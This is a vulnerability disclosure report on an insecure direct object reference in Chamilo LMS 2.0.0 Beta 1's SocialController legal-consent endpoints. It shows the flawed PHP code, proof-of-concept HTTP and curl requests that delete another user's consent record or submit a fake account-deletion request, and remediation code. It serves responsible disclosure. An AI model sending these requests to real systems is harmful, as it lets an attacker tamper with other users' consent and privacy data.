Logo Chamilo LMS SocialController IDOR - Legal Consent Data Manipulation

Chamilo LMS SocialController IDOR - Legal Consent Data Manipulation

# VulDB Vulnerability Report


 

## Chamilo LMS SocialController IDOR - Legal Consent Data Manipulation


 

---


 

## Summary


 

| Field | Value |
|-------|-------|
| **Product** | Chamilo LMS |
| **Vendor** | Chamilo Association |
| **Affected Version** | v2.0.0 Beta 1  |
| **Vulnerability Type** | CWE-639 Authorization Bypass Through User-Controlled Key (IDOR) |
| **Impact** | Integrity - Unauthorized modification/deletion of user data |
| **Attack Vector** | Network |
| **Authentication** | Low (requires authenticated user) |
| **CVSS 3.1 Score** | 6.5 (Medium) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N |


 

---


 

## Vulnerability Description


 

Multiple endpoints in Chamilo LMS 2.x `SocialController.php` are vulnerable to Insecure Direct Object Reference (IDOR) attacks. An authenticated attacker can manipulate the `userId` parameter in POST requests to perform unauthorized operations on other users' legal consent and privacy-related data.


 

The vulnerability exists because these endpoints read the `userId` from the request body without validating that the authenticated user has permission to operate on that user's data.


 

---


 

## Affected Endpoints


 

### 1. DELETE Legal Consent Record (Critical)


 

**Endpoint**: `POST /social-network/delete-legal`


 

**Impact**: An attacker can delete any user's legal consent acceptance record, potentially:
- Forcing users to re-accept terms
- Causing account access issues
- Bypassing GDPR compliance records


 

### 2. Send Legal Term Acceptance


 

**Endpoint**: `POST /social-network/send-legal-term`


 

**Impact**: An attacker can mark any user as having accepted legal terms without their consent.


 

### 3. Handle Privacy Request


 

**Endpoint**: `POST /social-network/handle-privacy-request`


 

**Impact**: An attacker can:
- Submit account deletion requests on behalf of any user
- Revoke legal consent on behalf of any user


 

---


 

## Technical Details


 

### Vulnerable Code


 

**File**: `src/CoreBundle/Controller/SocialController.php`


 

```php
// Lines 292-314
#[Route('/delete-legal', name: 'chamilo_core_social_delete_legal')]
public function deleteLegal(Request $request, TranslatorInterface $translator): JsonResponse
{
    $data = json_decode($request->getContent(), true);
    $userId = $data['userId'] ?? null;  // [VULN] User-controlled, no authorization check


 

    if (!$userId) {
        return $this->json(['error' => $translator->trans('User ID not provided')], Response::HTTP_BAD_REQUEST);
    }


 

    // Directly deletes data for ANY userId without permission verification
    $extraFieldValue = new ExtraFieldValue('user');
    $value = $extraFieldValue->get_values_by_handler_and_field_variable($userId, 'legal_accept');
    if ($value && isset($value['id'])) {
        $extraFieldValue->delete($value['id']);  // [VULN] Deletes arbitrary user's data
    }
    // ...
}
```


 

### Root Cause


 

The endpoint accepts `userId` from request body but does not verify:
1. That the authenticated user is operating on their own data, OR
2. That the authenticated user has admin privileges to modify other users' data


 

---


 

## Proof of Concept


 

### Step 1: Attacker logs in as User A (normal user)


 

### Step 2: Attacker sends malicious request to delete User B's legal consent


 

```http
POST /social-network/delete-legal HTTP/1.1
Host: target-chamilo-instance.com
Cookie: PHPSESSID=[attacker_session_cookie]
Content-Type: application/json


 

{
    "userId": 123
}
```


 

Where `123` is the victim's (User B) user ID.


 

### Step 3: Victim's legal consent record is deleted


 

The victim may now be:
- Prompted to re-accept legal terms
- Locked out of certain features requiring legal acceptance
- Have their GDPR consent records compromised


 

### cURL PoC


 

```bash
# Delete victim user's (ID=123) legal consent record
curl -X POST "https://target.com/social-network/delete-legal" \
  -H "Content-Type: application/json" \
  -H "Cookie: PHPSESSID=attacker_session_id" \
  -d '{"userId": 123}'


 

# Submit fake account deletion request for victim
curl -X POST "https://target.com/social-network/handle-privacy-request" \
  -H "Content-Type: application/json" \
  -H "Cookie: PHPSESSID=attacker_session_id" \
  -d '{
    "userId": 123,
    "requestType": "delete_account",
    "explanation": "Malicious request by attacker"
  }'
```


 

---


 

## Impact Assessment


 

| Category | Impact |
|----------|--------|
| **Confidentiality** | Low - May reveal if a user has accepted legal terms |
| **Integrity** | High - Can modify/delete legal consent records for any user |
| **Availability** | Medium - May cause user access issues |


 

### Business Impact


 

1. **GDPR Compliance Violation**: Manipulating consent records could violate data protection regulations
2. **User Trust**: Users may lose trust if their consent preferences are manipulated
3. **Legal Risk**: Organization could face legal issues if consent audit trails are compromised


 

---


 

## Mitigation / Remediation


 

### Recommended Fix


 

Replace user-controlled `userId` with the authenticated user's ID:


 

```php
#[Route('/delete-legal', name: 'chamilo_core_social_delete_legal')]
public function deleteLegal(Request $request, TranslatorInterface $translator): JsonResponse
{
    // FIX: Use the authenticated user's ID instead of request parameter
    $currentUser = $this->getUser();
    if (!$currentUser) {
        return $this->json(['error' => 'Not authenticated'], Response::HTTP_UNAUTHORIZED);
    }
    $userId = $currentUser->getId();
    
    // ... rest of the code
}
```


 

### Alternative Fix (if admin access to other users is required)


 

```php
public function deleteLegal(Request $request, TranslatorInterface $translator): JsonResponse
{
    $data = json_decode($request->getContent(), true);
    $targetUserId = $data['userId'] ?? null;
    
    $currentUser = $this->getUser();
    
    // Only allow operation if:
    // 1. User is operating on their own data, OR
    // 2. User is an admin
    if ($targetUserId != $currentUser->getId() && !$this->isGranted('ROLE_ADMIN')) {
        return $this->json(['error' => 'Access denied'], Response::HTTP_FORBIDDEN);
    }
    
    // ... rest of the code
}
```


 

---


 

## Comparison with Known CVEs


 

| CVE | Description | Difference from this vulnerability |
|-----|-------------|-----------------------------------|
| CVE-2025-52469 | Friend Request Workflow Bypass | Affects friend request functionality, not legal consent |
| Issue #127 (2023) | IDOR in messages | Affects message functionality, not legal consent |


 

**Conclusion**: This vulnerability affects **legal consent/privacy endpoints** which are different from previously reported IDOR issues.


 

---


 

## Disclosure Timeline


 

| Date | Event |
|------|-------|
| 2025-01-05 | Vulnerability discovered |
| TBD | Vendor notification |
| TBD | Vendor acknowledgment |
| TBD | Fix released |
| TBD | CVE assigned |


 

---


 

## References


 

- Chamilo LMS GitHub: https://github.com/chamilo/chamilo-lms
- Chamilo Security Wiki: https://github.com/chamilo/chamilo-lms/wiki/security-issues
- CWE-639: https://cwe.mitre.org/data/definitions/639.html
- OWASP IDOR: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References


 

---


 


 

## Disclaimer


 

This report is provided for responsible security disclosure purposes only. All testing was performed on code analysis without accessing production systems.